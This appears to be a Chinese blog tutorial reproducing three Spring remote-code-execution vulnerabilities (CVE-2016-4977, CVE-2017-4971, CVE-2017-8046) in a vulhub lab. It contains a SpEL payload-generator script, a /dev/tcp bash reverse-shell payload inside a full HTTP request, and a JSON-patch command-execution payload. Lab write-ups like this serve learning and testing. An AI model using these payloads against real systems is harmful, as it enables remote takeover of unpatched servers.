Spring--CVE-2016-4977--CVE-2017-4971--CVE-2017-8046

在vulbub/spring目录下

CVE-2016-4977

漏洞原理

Spring Security OAuth2处理认证请求的时候如果使用了whitelabel视图,response_type参数值会被当做Spring SpEL来执行,恶意攻击者通过构造response_type值可以触发远程代码执行漏洞

影响版本

Spring Security OAuth 2.3到2.3.2
Spring Security OAuth 2.2到2.2.1
Spring Security OAuth 2.1到2.1.1
Spring Security OAuth 2.0到2.0.14

漏洞复现

漏洞页面
在这里插入图片描述

漏洞验证
靶场环境搭建成功之后,拼接路径payload来验证漏洞是否存在.
发现需要我们进行登录,这里根据弱口令admin/admin进行登录。
在这里插入图片描述
${} 里面的内容被解析并执行,说明可以命令执行
制作反弹shell
进入棱角社区制作反弹shell , 这里用到的IP是kali的IP ,端口随便定一个7777
棱角社区
在这里插入图片描述
脚本生成payload
进入kali , 使用脚本制作payload
vim poc.py进入文件 复制下面的poc

#!/usr/bin/env python

message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)

格式一定不要错
在这里插入图片描述
运行poc.py文件
在这里插入图片描述
开启监听
在这里插入图片描述
将内容复制
在这里插入图片描述
将下面的内容换成刚刚复制的

在这里插入图片描述
在这里插入图片描述
反弹成功
在这里插入图片描述

CVE-2017-4971

漏洞原理

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行

影响版本

Spring Web Flow 2.4.0 – 2.4.4

漏洞复现

打开kali,开启反弹监听
在这里插入图片描述
进入页面
在这里插入图片描述
然后访问id为1的酒店

在这里插入图片描述
点击确认时抓包
在这里插入图片描述
反弹shell命令

&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/攻击机IP/端口号+0>%261")).start()=vulhub

我的请求体为:

POST /hotels/booking?execution=e2s2 HTTP/1.1
Host: 192.168.108.166:8080
Content-Length: 171
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.108.166:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.108.166:8080/hotels/booking?execution=e2s2
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: experimentation_subject_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVmxNREl6T1dZMUxUVTBaREF0TkRrelppMWhNalF3TFRFNE5qZGtZV1F6TWpGa1l5ST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5leHBlcmltZW50YXRpb25fc3ViamVjdF9pZCJ9fQ%3D%3D--6ea0d6467cd9cb5d455fa4cf1f99fca3e7fa6a13; 4772nmhoapp_admininfo=f46fN2ZfUblVKi%2BRVgGgek1n4CW8vqNibI01PIVMjSP9yIjgYQtjAbZa8RMxfV03%2FAIYkKApZs0FLYXGri8lqS3%2F95R5Fb3a107S835ax0PMHPM; ajs_anonymous_id=3ee2f1f4-015b-4164-8eab-cc49016458b1; ajs_user_id=321ef1174637cb21a81f694561ca23a8a2e5a9c6; ajs_group_id=6609f1ab07715505e49a3eadcca5dbb17c75f162; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; pma_iv-1=OudQOFiKEY9mMstxFNze7Q%3D%3D; pmaUser-1=%2BMbhfXWfcb95iKrQkBr0tQ%3D%3D; JSESSIONID=37212B2602585CC006FB6B16DE1EACF6
Connection: keep-alive

_eventId_confirm=&_csrf=aa0217d9-43b9-4fa9-8327-72df807b2e44&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.108.166/888+0>%261")).start()=vulhub

在这里插入图片描述
反弹成功
在这里插入图片描述

CVE-2017-8046

漏洞原理

Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码

影响版本

Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3

漏洞复现

在这里插入图片描述
进制转换
漏洞验证之前,将要执行的命令进行Ascii转译,不然会执行不成功的

touch /tmp/success 进行ASCII-字符转换,转换完后中间要加,号

在这里插入图片描述
将其拼接到 payload 里面,最后得到:

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

验证漏洞
(1)访问 http://靶场ip:8080/customers/1 进行抓包
(2)转包之后将GET修改为PATCH
(3)添加字段 Content-Type: application/json-patch+json
(4)将制作好的payload添加到最后一行.
在这里插入图片描述
发送成功之后,现在进去docker容器看一下,文件是否创建成功.
进去docker容器命令为:

docker exec -it 容器id /bin/bash

成功创建了success在这里插入图片描述
反弹shell
进入棱角社区制作反弹shell , 这里用到的IP是kali的IP ,端口随便定一个8888
在这里插入图片描述
将这base64编码后的反弹地址放入编码网站进行编码
编码
复制到记事本把空格换成,号
开启 监听
在这里插入图片描述
反弹成功
在这里插入图片描述

  • 6
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值